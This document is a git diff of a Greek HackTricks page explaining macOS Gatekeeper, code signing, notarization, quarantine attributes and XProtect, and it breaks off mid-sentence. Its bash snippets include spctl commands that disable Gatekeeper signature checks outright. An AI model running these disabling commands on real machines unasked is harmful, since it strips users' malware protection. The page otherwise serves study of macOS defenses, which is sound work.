* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,17 +2,17 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -23,25 +23,25 @@
Η κύρια μηχανή του Gatekeeper βρίσκεται στη διαδικασία της **επαλήθευσης**. Ελέγχει αν το κατεβασμένο λογισμικό είναι **υπογεγραμμένο από αναγνωρισμένο προγραμματιστή**, εξασφαλίζοντας την αυθεντικότητα του λογισμικού. Επιπλέον, ελέγχει εάν το λογισμικό έχει **επικυρωθεί από την Apple**, επιβεβαιώνοντας ότι είναι απαλλαγμένο από γνωστό κακόβουλο περιεχόμενο και δεν έχει τροποποιηθεί μετά την επικύρωση.
Επιπλέον, το Gatekeeper ενισχύει τον έλεγχο και την ασφάλεια του χρήστη με το να **ζητά από τους χρήστες να εγκρίνουν το άνοιγμα** του κατεβασμένου λογισμικού για πρώτη φορά. Αυτό το μέτρο προστασίας βοηθά στην αποτροπή των χρηστών από το να εκτελέσουν κατά λάθος πιθανώς επικίνδυνο εκτελέσιμο κώδικα που θα μπορούσαν να έχουν παρεξηγήσει ως ακίνδυνο αρχείο δεδομένων.
Επιπλέον, το Gatekeeper ενισχύει τον έλεγχο και την ασφάλεια του χρήστη με το να **ζητά από τους χρήστες να εγκρίνουν το άνοιγμα** του κατεβασμένου λογισμικού για πρώτη φορά. Αυτός ο προστατευτικός μηχανισμός βοηθά στο να αποτραπεί οι χρήστες από το να εκτελέσουν κατά λάθος πιθανώς επικίνδυνο εκτελέσιμο κώδικα που θα μπορούσαν να έχουν παρεξηγήσει ως ακίνδυνο αρχείο δεδομένων.
### Υπογραφές Εφαρμογών
Οι υπογραφές εφαρμογών, επίσης γνωστές ως υπογραφές κώδικα, είναι ένα κρίσιμο στοιχείο της υποδομής ασφαλείας της Apple. Χρησιμοποιούνται για τον **έλεγχο της ταυτότητας του συγγραφέα του λογισμικοώ** (του προγραμματιστή) και για τη διασφάλιση ότι ο κώδικας δεν έχει τροποποιηθεί από την τελευταία υπογραφή.
Οι υπογραφές εφαρμογών, επίσης γνωστές ως υπογραφές κώδικα, είναι ένα κρίσιμο στοιχείο της υποδομής ασφαλείας της Apple. Χρησιμοποιούνται για το **έλεγχο της ταυτότητας του συγγραφέα του λογισμικοϋ** (του προγραμματιστή) και για να εξασφαλίσουν ότι ο κώδικας δεν έχει τροποποιηθεί από την τελευταία υπογραφή.
Έτσι λειτουργεί:
1. **Υπογραφή της Εφαρμογής:** Όταν ένας προγραμματιστής είναι έτοιμος να διανείμει την εφαρμογή του, **υπογράφει την εφαρμογή χρησιμοποιώντας έναν ιδιωτικό κλειδί**. Αυτό το ιδιωτικό κλειδί συσχετίζεται με ένα **πιστοποιητικό που εκδίδει η Apple στον προγραμματιστή** όταν εγγράφεται στο Apple Developer Program. Η διαδικασία υπογραφής περιλαμβάνει τη δημιουργία ενός κρυπτογραφικού κατακερματισμού όλων των τμημάτων της εφαρμογής και την κρυπτογράφηση αυτού του κατακερματισμού με το ιδιωτικό κλειδί του προγραμματιστή.
2. **Διανομή της Εφαρμογής:** Η υπογεγραμμένη εφαρμογή διανέμεται στους χρήστες μαζί με το πιστοποιητικό του προγραμματιστή, που περιέχει το αντίστοιχο δημόσιο κλειδί.
3. **Επαλήθευση της Εφαρμογής:** Όταν ένας χρήστης κατεβάζει και προσπαθεί να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει τον κατακερματισμό. Στη συνέχεια, υπολογίζει ξανά τον κατακερματισμό με βάση την τρέχουσα κατάσταση της εφαρμογής και συγκρίνει αυτόν με τον αποκρυπτογραφημένο κατακερματισμό. Αν ταιριάζουν, σημαίνει ότι **η εφαρμογή δεν έχει τροποποιηθεί** από την τελευταία υπογραφή του προγραμματιστή και το σύστημα επιτρέπει την εκτέλεση της εφαρμογής.
3. **Επαλήθευση της Εφαρμογής:** Όταν ένας χρήστης κατεβάζει και προσπαθεί να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει τον κατακερματισμό. Στη συνέχεια, υπολογίζει ξανά τον κατακερματισμό με βάση την τρέχουσα κατάσταση της εφαρμογής και συγκρίνει αυτόν με τον αποκρυπτογραφημένο κατακερματισμό. Αν ταιριάζουν, σημαίνει ότι **η εφαρμογή δεν έχει τροποποιηθεί** από την υπογραφή του προγραμματιστή και το σύστημα επιτρέπει την εκτέλεση της εφαρμογής.
Οι υπογραφές εφαρμογών είναι ένα ουσιώδες μέρος της τεχνολογίας Gatekeeper της Apple. Όταν ένας χρήστης προσπαθεί να **ανοίξει μια εφαρμογή που έχει κατεβάσει από το διαδίκτυο**, το Gatekeeper επαληθεύει την υπογραφή της εφαρμογής. Αν είναι υπογεγραμμένη με ένα πιστοποιητικό που έχει εκδώσει η Apple σε έναν γνωστό προγραμματιστή και ο κώδικας δεν έχει τροποποιηθεί, το Gatekeeper επιτρέπει την εκτέλεση της εφαρμογής. Διαφορετικά, αποκλείει την εφαρμογή και ειδοποιεί τον χρήστη.
Οι υπογραφές εφαρμογών είναι ένα ουσιώδες μέρος της τεχνολογίας Gatekeeper της Apple. Όταν ένας χρήστης προσπαθεί να **ανοίξει μια εφαρμογή που έχει κατεβάσει από το internet**, το Gatekeeper επαληθεύει την υπογραφή της εφαρμογής. Αν είναι υπογεγραμμένη με ένα πιστοποιητικό που έχει εκδώσει η Apple σε έναν γνωστό προγραμματιστή και ο κώδικας δεν έχει τροποποιηθεί, το Gatekeeper επιτρέπει την εκτέλεση της εφαρμογής. Διαφορετικά, αποκλείει την εφαρμογή και ειδοποιεί τον χρήστη.
Από το macOS Catalina και μετά, το **Gatekeeper ελέγχει επίσης εάν η εφαρμογή έχει υποβληθεί σε επικύρωση** από την Apple, προσθέτοντας ένα επιπλέον επίπεδο ασφαλείας. Η διαδικασία επικύρωσης ελέγχει την εφαρμογή για γνωστά θέματα ασφαλείας και κακόβουλο κώδικα, και αν αυτοί οι έλεγχοι περάσουν, η Apple προσθέτει ένα εισιτήριο στην εφαρμογή που το Gatekeeper μπορεί να επαληθεύσει.
#### Έλεγχος Υπογραφών
Όταν ελέγχετε κάποιο **δείγμα κακόβουλου λογισμικού**, πρέπει πάντα να **ελέγχετε την υπογραφή** του δυαδικού καθώς ο **προγραμματιστής** που το υπέγραψε μπορεί να έχει ήδη **σχέση** με **κακόβουλο λογισμικό**.
Όταν ελέγχετε κάποιο **δείγμα κακόβουλου λογισμικοϋ** πρέπει πάντα να **ελέγχετε την υπογραφή** του δυαδικού καθώς ο **προγραμματιστής** που το υπέγραψε μπορεί να έχει ήδη **σχέση** με **κακόβουλο λογισμικό**.
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -58,17 +58,16 @@ spctl --assess --verbose /Applications/Safari.app
# Sign a binary
codesign -s <cert-name-keychain> toolsdemo
```
### Επικύρωση
### Επισημοποίηση
Η διαδικασία επικύρωσης της Apple λειτουργεί ως μια επιπλέον προστασία για τους χρήστες από ενδεχόμενο επιβλαβές λογισμικό. Περιλαμβάνει τον **προγραμματιστή να υποβάλει την εφαρμογή του για εξέταση** από την **Υπηρεσία Επικύρωσης της Apple**, η οποία δεν πρέπει να μπερδευτεί με την Αναθεώρηση Εφαρμογών. Αυτή η υπηρεσία είναι ένα **αυτοματοποιημένο σύστημα** που ελέγχει προσεκτικά το υποβαλλόμενο λογισμικό για την παρουσία **κακόβουλου περιεχομένου** και οποιωνδήποτε πιθανών προβλημάτων με την υπογραφή κώδικα.
Η διαδικασία επισημοποίησης της Apple λειτουργεί ως ένα επιπλέον μέτρο προστασίας για τους χρήστες από ενδεχόμενο επιβλαβές λογισμικό. Περιλαμβάνει τον **προγραμματιστή να υποβάλει την εφαρμογή του για εξέταση** από την **Υπηρεσία Επισήμανσης της Apple**, η οποία δεν πρέπει να μπερδευτεί με την Αναθεώρηση Εφαρμογών. Αυτή η υπηρεσία είναι ένα **αυτοματοποιημένο σύστημα** που ελέγχει προσεκτικά το υποβαλλόμενο λογισμικό για την παρουσία **κακόβουλου περιεχομένου** και οποιωνδήποτε πιθανών προβλημάτων με την υπογραφή κώδικα.
Αν το λογισμικό **περάσει** αυτόν τον έλεγχο χωρίς να προκαλέσει ανησυχίες, η Υπηρεσία Επικύρωσης δημιουργεί ένα εισιτήριο επικύρωσης. Στη συνέχεια, ο προγραμματιστής πρέπει να **επισυνάψει αυτό το εισιτήριο στο λογισμικό του**, μια διαδικασία που είναι γνωστή ως 'συρματοστέφανο.' Επιπλέον, το εισιτήριο επικύρωσης δημοσιεύεται επίσης στο διαδίκτυο όπου το Gatekeeper, η τεχνολογία ασφαλείας της Apple, μπορεί να το ανακτήσει.
Κατά την πρώτη εγκατάσταση ή εκτέλεση του λογισμικού από τον χρήστη, η ύπαρξη του εισιτηρίου επικύρωσης - είτε συρματοστεφανωμένου στο εκτελέσιμο είτε βρίσκεται online - **ενημερώνει το Gatekeeper ότι το λογισμικό έχει επικυρωθεί από την Apple**. Ως αποτέλεσμα, το Gatekeeper εμφανίζει ένα περιγραφικό μήνυμα στο διάλογο αρχικής εκκίνησης, υποδεικνύοντας ότι το λογισμικό έχει υποβληθεί σε έλεγχους για κακόβουλο περιεχόμενο από την Apple. Με αυτήν τη διαδικασία, ενισχύεται η εμπιστοσύνη του χρήστη στην ασφάλεια του λογισμικοϋ που εγκαθιστά ή εκτελεί στα συστήματά του.
Αν το λογισμικό **περάσει** αυτόν τον έλεγχο χωρίς να προκαλέσει ανησυχίες, η Υπηρεσία Επισήμανσης δημιουργεί ένα εισιτήριο επισημοποίησης. Στη συνέχεια, ο προγραμματιστής πρέπει να **επισυνάψει αυτό το εισιτήριο στο λογισμικό του**, μια διαδικασία γνωστή ως 'συρραφή.' Επιπλέον, το εισιτήριο επισημοποίησης δημοσιεύεται επίσης στο διαδίκτυο όπου το Gatekeeper, η τεχνολογία ασφαλείας της Apple, μπορεί να το ανακτήσει.
Κατά την πρώτη εγκατάσταση ή εκτέλεση του λογισμικού από τον χρήστη, η ύπαρξη του εισιτηρίου επικύρωσης - είτε ως συνδεδεμένο με το εκτελέσιμο είτε βρέθηκε online - **ενημερώνει το Gatekeeper ότι το λογισμικό έχει επικυρωθεί από την Apple**. Ως αποτέλεσμα, το Gatekeeper εμφανίζει ένα περιγραφικό μήνυμα στο διάλογο αρχικής εκκίνησης, υποδεικνύοντας ότι το λογισμικό έχει υποβληθεί σε ελέγχους για κακόβουλο περιεχόμενο από την Apple. Με αυτόν τον τρόπο, η διαδικασία αυτή ενισχύει την εμπιστοσύνη του χρήστη στην ασφάλεια του λογισμικοώ που εγκαθιστά ή εκτελεί στα συστήματά τους.
### Απαρίθμηση του GateKeeper
Το GateKeeper αποτελείται τόσο από **πολλαπλά στοιχεία ασφαλείας** που εμποδίζουν την εκτέλεση μη αξιόπιστων εφαρμογών όσο και από **ένα από τα στοιχεία**.
Το GateKeeper αποτελεί τόσο, **πολλαπλά στοιχεία ασφαλείας** που εμποδίζουν την εκτέλεση μη αξιόπιστων εφαρμογών όσο και **ένα από τα στοιχεία**.
Είναι δυνατόν να δείτε την **κατάσταση** του GateKeeper με:
```bash
@ -79,11 +78,11 @@ spctl --status
Σημειώστε ότι οι έλεγχοι υπογραφής του GateKeeper πραγματοποιούνται μόνο σε **αρχεία με το χαρακτηριστικό Καραντίνας**, όχι σε κάθε αρχείο.
{% endhint %}
Ο GateKeeper θα ελέγξει αν σύμφωνα με τις **προτιμήσεις και την υπογραφή** μια δυαδική μπορεί να εκτελεστεί:
Ο GateKeeper θα ελέγξει αν σύμφωνα με τις **προτιμήσεις & την υπογραφή** μια δυαδική μπορεί να εκτελεστεί:
<figure><img src="../../../.gitbook/assets/image (1147).png" alt=""><figcaption></figcaption></figure>
Η βάση δεδομένων που διατηρεί αυτή τη διαμόρφωση βρίσκεται στο **`/var/db/SystemPolicy`**. Μπορείτε να ελέγξετε αυτή τη βάση δεδομένων ως ριζικός χρήστης με:
Η βάση δεδομένων που διατηρεί αυτή τη διαμόρφωση βρίσκεται στο **`/var/db/SystemPolicy`**. Μπορείτε να ελέγξετε αυτή τη βάση δεδομένων ως ριζοχρήστης με:
```bash
# Open database
sqlite3 /var/db/SystemPolicy
@ -97,8 +96,8 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
```
Σημειώστε ότι ο πρώτος κανόνας τελείωσε σε "**App Store**" και ο δεύτερος σε "**Developer ID**" και ότι στην προηγούμενη εικόνα ήταν **ενεργοποιημένη η εκτέλεση εφαρμογών από το App Store και από εντοπισμένους προγραμματιστές**.\
Εάν **τροποποιήσετε** αυτήν τη ρύθμιση σε App Store, οι κανόνες "**Notarized Developer ID" θα εξαφανιστούν**.
Σημειώστε πως ο πρώτος κανόνας τελείωσε σε "**App Store**" και ο δεύτερος σε "**Developer ID**" και ότι στην προηγούμενη εικόνα ήταν **ενεργοποιημένη η εκτέλεση εφαρμογών από το App Store και από πιστοποιημένους προγραμματιστές**.\
Αν **τροποποιήσετε** αυτή τη ρύθμιση σε App Store, οι κανόνες "**Notarized Developer ID" θα εξαφανιστούν**.
Υπάρχουν επίσης χιλιάδες κανόνες τύπου GKE:
```bash
@ -115,7 +114,7 @@ cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
```bash
sudo spctl --list
```
Οι επιλογές **`--master-disable`** και **`--global-disable`** του **`spctl`** θα απενεργοποιήσουν εντελώς αυτούς τους έλεγχους υπογραφής:
Οι επιλογές **`--master-disable`** και **`--global-disable`** του **`spctl`** θα απενεργοποιήσουν εντελώς αυτούς τους ελέγχους υπογραφής:
```bash
# Disable GateKeeper
spctl --global-disable
@ -148,24 +147,24 @@ sudo spctl --enable --label "whitelist"
spctl --assess -v /Applications/App.app
/Applications/App.app: accepted
```
### Απομόνωση Αρχείων
### Αρχεία Καραντίνας
Κατά την **λήψη** μιας εφαρμογής ή αρχείου, συγκεκριμένες εφαρμογές macOS όπως περιηγητές ιστού ή προγράμματα ηλεκτρονικού ταχυδρομείου **επισυνάπτουν ένα επεκτεινόμενο χαρακτηριστικό αρχείου**, γνωστό ως "**σημαία καραντίνας**," στο κατεβασμένο αρχείο. Αυτό το χαρακτηριστικό λειτουργεί ως μέτρο ασφαλείας για να **επισημάνει το αρχείο** ως προερχόμενο από μη έμπιστη πηγή (το διαδίκτυο) και πιθανώς να φέρει κινδύνους. Ωστόσο, όχι όλες οι εφαρμογές επισυνάπτουν αυτό το χαρακτηριστικό, για παράδειγμα, τα κοινά προγράμματα πελατών BitTorrent συνήθως παρακάμπτουν αυτήν τη διαδικασία.
Κατά την **λήψη** μιας εφαρμογής ή αρχείου, συγκεκριμένες εφαρμογές macOS όπως περιηγητές ιστού ή προγράμματα email **επισυνάπτουν ένα επεκτεινόμενο χαρακτηριστικό αρχείου**, γνωστό ως "**σημαία καραντίνας**," στο κατεβασμένο αρχείο. Αυτό το χαρακτηριστικό λειτουργεί ως μέτρο ασφαλείας για να **επισημάνει το αρχείο** ως προερχόμενο από μη έμπιστη πηγή (το διαδίκτυο) και πιθανώς να φέρει κινδύνους. Ωστόσο, όχι όλες οι εφαρμογές επισυνάπτουν αυτό το χαρακτηριστικό, για παράδειγμα, τα κοινά προγράμματα πελατών BitTorrent συνήθως παρακάμπτουν αυτήν τη διαδικασία.
**Η παρουσία μιας σημαίας καραντίνας ειδοποιεί το χαρακτηριστικό ασφαλείας Gatekeeper του macOS όταν ο χρήστης προσπαθεί να εκτελέσει το αρχείο**.
Στην περίπτωση όπου η **σημαία καραντίνας δεν είναι παρούσα** (όπως με αρχεία που λήφθηκαν μέσω ορισμένων πελατών BitTorrent), οι **έλεγχοι του Gatekeeper ενδέχεται να μην πραγματοποιηθούν**. Έτσι, οι χρήστες πρέπει να είναι προσεκτικοί όταν ανοίγουν αρχεία που έχουν ληφθεί από λιγότερο ασφαλείς ή άγνωστες πηγές.
Στην περίπτωση όπου η **σημαία καραντίνας δεν είναι παρούσα** (όπως με αρχεία που λήφθηκαν μέσω ορισμένων πελατών BitTorrent), οι **έλεγχοι του Gatekeeper ενδέχεται να μην πραγματοποιηθούν**. Έτσι, οι χρήστες θα πρέπει να είναι προσεκτικοί όταν ανοίγουν αρχεία που έχουν ληφθεί από λιγότερο ασφαλείς ή άγνωστες πηγές.
{% hint style="info" %}
**Η επαλήθευση** της **εγκυρότητας** των υπογραφών κώδικα είναι μια **επεξεργασία που απαιτεί πολλούς πόρους** και περιλαμβάνει τη δημιουργία κρυπτογραφικών **κατακερματισμών** του κώδικα και όλων των συσκευασμένων πόρων του. Επιπλέον, η επαλήθευση της εγκυρότητας του πιστοποιητικού περιλαμβάνει μια **διαδικτυακή έλεγχο** στους διακομιστές της Apple για να δει αν έχει ανακληθεί μετά την έκδοσή του. Για αυτούς τους λόγους, ο πλήρης έλεγχος υπογραφής κώδικα και επικύρωσης δεν είναι **εφικτός να εκτελείται κάθε φορά που εκκινείται μια εφαρμογή**.
**Η επαλήθευση** της **εγκυρότητας** των υπογραφών κώδικα είναι μια **επεξεργασία μεγάλου όγκου πόρων** που περιλαμβάνει τη δημιουργία κρυπτογραφικών **κατακερματισμών** του κώδικα και όλων των συσκευασμένων πόρων του. Επιπλέον, η επαλήθευση της εγκυρότητας του πιστοποιητικού περιλαμβάνει μια **διαδικτυακή επαλήθευση** στους διακομιστές της Apple για να δει αν έχει ανακληθεί μετά την έκδοσή του. Για αυτούς τους λόγους, ο πλήρης έλεγχος υπογραφής κώδικα και επικύρωσης δεν είναι **εφικτός να εκτελείται κάθε φορά που μια εφαρμογή εκκινείται**.
Για τον λόγο αυτό, αυτοί οι έλεγχοι **εκτελούνται μόνο κατά την εκτέλεση εφαρμογών με το χαρακτηριστικό καραντίνας**.
Γι' αυτό, αυτοί οι έλεγχοι **εκτελούνται μόνο κατά την εκτέλεση εφαρμογών με το χαρακτηριστικό καραντίνας**.
{% endhint %}
{% hint style="warning" %}
Αυτό το χαρακτηριστικό πρέπει να **ορίζεται από την εφαρμογή που δημιουργεί/κατεβάζει** το αρχείο.
Ωστόσο, τα αρχεία που είναι σε λειτουργία άμμου θα έχουν αυτό το χαρακτηριστικό ορισμένο σε κάθε αρχείο που δημιουργούν. Και οι μη λειτουργίας άμμου εφαρμογές μπορούν να το ορίσουν μόνες τους, ή να καθορίσουν το [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) κλειδί στο **Info.plist** το οποίο θα κάνει το σύστημα να ορίσει το επεκτεινόμενο χαρακτηριστικό `com.apple.quarantine` στα αρχεία που δημιουργούν,
Ωστόσο, τα αρχεία που είναι σε λειτουργία άμμου θα έχουν αυτό το χαρακτηριστικό ορισμένο σε κάθε αρχείο που δημιουργούν. Και οι μη αμμολογημένες εφαρμογές μπορούν να το ορίσουν μόνες τους, ή να καθορίσουν το [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) κλειδί στο **Info.plist** το οποίο θα κάνει το σύστημα να ορίσει το επεκτεινόμενο χαρακτηριστικό `com.apple.quarantine` στα αρχεία που δημιουργούν,
{% endhint %}
Είναι δυνατόν να **ελέγξετε την κατάστασή του και να ενεργοποιήσετε/απενεργοποιήσετε** (απαιτείται root) με:
@ -177,7 +176,7 @@ spctl --enable
spctl --disable
#You can also allow nee identifies to execute code using the binary "spctl"
```
Μπορείτε επίσης **να βρείτε αν ένα αρχείο έχει το χαρακτηριστικό επέκτασης καραντίνας** με:
Μπορείτε επίσης **να βρείτε αν ένα αρχείο έχει το επεκταμένο χαρακτηριστικό καραντίνας** με:
```bash
xattr file.png
com.apple.macl
@ -199,7 +198,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
```
Πράγματι, ένας διεργασία "θα μπορούσε να ορίσει σημαίες καραντίνας στα αρχεία που δημιουργεί" (προσπάθησα να εφαρμόσω τη σημαία USER_APPROVED σε ένα δημιουργημένο αρχείο αλλά δεν την εφαρμόζει):
Πράγματι, ένας διεργασία "μπορεί να ορίσει σημαίες καραντίνας στα αρχεία που δημιουργεί" (προσπάθησα να εφαρμόσω τη σημαία USER\_APPROVED σε ένα δημιουργημένο αρχείο αλλά δεν την εφαρμόζει):
<details>
@ -283,15 +282,15 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
#### **Quarantine.kext**
Η επέκταση πυρήνα είναι διαθέσιμη μόνο μέσω της **προσωρινής μνήμης πυρήνα στο σύστημα**. Ωστόσο, μπορείτε να κατεβάσετε το **Kernel Debug Kit από το https://developer.apple.com/**, το οποίο θα περιέχει μια συμβολοποιημένη έκδοση της επέκτασης.
Η επέκταση πυρήνα είναι διαθέσιμη μόνο μέσω της **προσωρινής μνήμης πυρήνα στο σύστημα**. Ωστόσο, μπορείτε να κατεβάσετε το **Kernel Debug Kit από τη διεύθυνση https://developer.apple.com/**, το οποίο θα περιέχει μια συμβολοποιημένη έκδοση της επέκτασης.
### XProtect
Το XProtect είναι μια ενσωματωμένη λειτουργία **αντι-κακόβουλου λογισμικού** στο macOS. Το XProtect **ελέγχει οποιαδήποτε εφαρμογή όταν εκτελείται για πρώτη φορά ή τροποποιείται έναντι της βάσης δεδομένων** του γνωστού κακόβουλου λογισμικού και ανθυγιεινών τύπων αρχείων. Όταν κατεβάζετε ένα αρχείο μέσω συγκεκριμένων εφαρμογών, όπως το Safari, το Mail ή το Messages, το XProtect σαρώνει αυτόματα το αρχείο. Αν ταιριάζει με οποιοδήποτε κακόβουλο λογισμικό στη βάση δεδομένων του, το XProtect θα **εμποδίσει το αρχείο από την εκτέλεση** και θα σας ειδοποιήσει για τον κίνδυνο.
Η βάση δεδομένων του XProtect **ενημερώνεται τακτικά** από την Apple με νέους ορισμούς κακόβουλου λογισμικού, και αυτές οι ενημερώσεις κατεβαίνουν και εγκαθίστανται αυτόματα στο Mac σας. Αυτό εξασφαλίζει ότι το XProtect είναι πάντα ενημερωμένο με τις τελευταίες γνωστές απειλές.
Η βάση δεδομένων του XProtect **ενημερώνεται τακτικά** από την Apple με νέους ορισμούς κακόβουλου λογισμικού, και αυτές οι ενημερώσεις κατεβάζονται και εγκαθίστανται αυτόματα στο Mac σας. Αυτό εξασφαλίζει ότι το XProtect είναι πάντα ενημερωμένο με τις τελευταίες γνωστές απειλές.
Ωστόσο, αξίζει να σημειωθεί ότι το **XProtect δεν είναι μια πλήρως εξοπλισμένη λύση αντιιών**. Ελέγχει μόνο για μια συγκεκριμένη λίστα γνωστών απειλών και δεν πραγματοποιεί σάρωση κατά την πρόσβαση όπως η πλειονότητα των λογισμικών αντιιών.
Ωστόσο, αξίζει να σημειωθεί ότι το **XProtect δεν είναι μια πλήρως λειτουργική λύση αντιιών**. Ελέγχει μόνο για μια συγκεκριμένη λίστα γνωστών απειλών και δεν πραγματοποιεί σάρωση κατά την πρόσβαση όπως η πλειονότητα των λογισμικών αντιιών.
Μπορείτε να λάβετε πληροφορίες σχετικά με την τελευταία ενημέρωση του XProtect εκτελώντας:
@ -303,38 +302,38 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
Το XProtect βρίσκεται σε προστατευμένη τοποθεσία SIP στο **/Library/Apple/System/Library/CoreServices/XProtect.bundle** και μέσα στο bundle μπορείτε να βρείτε πληροφορίες που χρησιμοποιεί το XProtect:
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Επιτρέπει σε κώδικα με αυτά τα cdhashes να χρησιμοποιούν παλαιές εξουσιοδοτήσεις.
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Λίστα με plugins και επεκτάσεις που απαγορεύεται να φορτωθούν μέσω του BundleID και TeamID ή ενδεικτικός ελάχιστος αριθμός έκδοσης.
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Κανόνες Yara για τον εντοπισμό κακόβουλου λογισμικού.
- **`XProtect.bundle/Contents/Resources/gk.db`**: Βάση δεδομένων SQLite3 με κατακερματισμένες εφαρμογές και TeamIDs που έχουν αποκλειστεί.
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Επιτρέπει σε κώδικα με αυτά τα cdhashes να χρησιμοποιούν παλαιές εξουσιοδοτήσεις.
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Λίστα με πρόσθετα που απαγορεύεται να φορτωθούν μέσω του BundleID και TeamID ή ενδεικτικός ελάχιστος αριθμός έκδοσης.
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Κανόνες Yara για τον εντοπισμό κακόβουλου λογισμικού.
* **`XProtect.bundle/Contents/Resources/gk.db`**: Βάση δεδομένων SQLite3 με hashes αποκλεισμένων εφαρμογών και TeamIDs.
Σημειώστε ότι υπάρχει μια άλλη εφαρμογή στο **`/Library/Apple/System/Library/CoreServices/XProtect.app`** που σχετίζεται με το XProtect και δεν συμμετέχει στη διαδικασία του Gatekeeper.
### Όχι Gatekeeper
{% hint style="danger" %}
Σημειώστε ότι ο Gatekeeper **δεν εκτελείται κάθε φορά** που εκτελείτε μια εφαρμογή, μόνο το _**AppleMobileFileIntegrity**_ (AMFI) θα ελέγξει μόνο τις **υπογραφές εκτελέσιμου κώδικα** όταν εκτελέσετε μια εφαρμογή που έχει ήδη εκτελεστεί και ελεγχθεί από το Gatekeeper.
